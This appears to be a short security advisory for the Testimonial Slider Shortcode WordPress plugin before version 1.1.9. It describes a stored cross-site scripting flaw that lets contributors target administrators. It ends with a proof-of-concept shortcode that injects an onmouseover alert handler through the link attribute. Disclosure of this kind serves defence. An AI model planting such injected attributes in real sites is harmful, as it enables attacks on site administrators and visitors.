Testimonial Slider Shortcode < 1.1.9 - Contributor+ Stored XSS

Description The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admin

PoC

[tss_item text=»Abelson has been an amazing firm to work with. Lorem changed the company.» name=»JOHN SAMPSON LP» link=‘" onmouseover=“alert(/XSS/)”’/]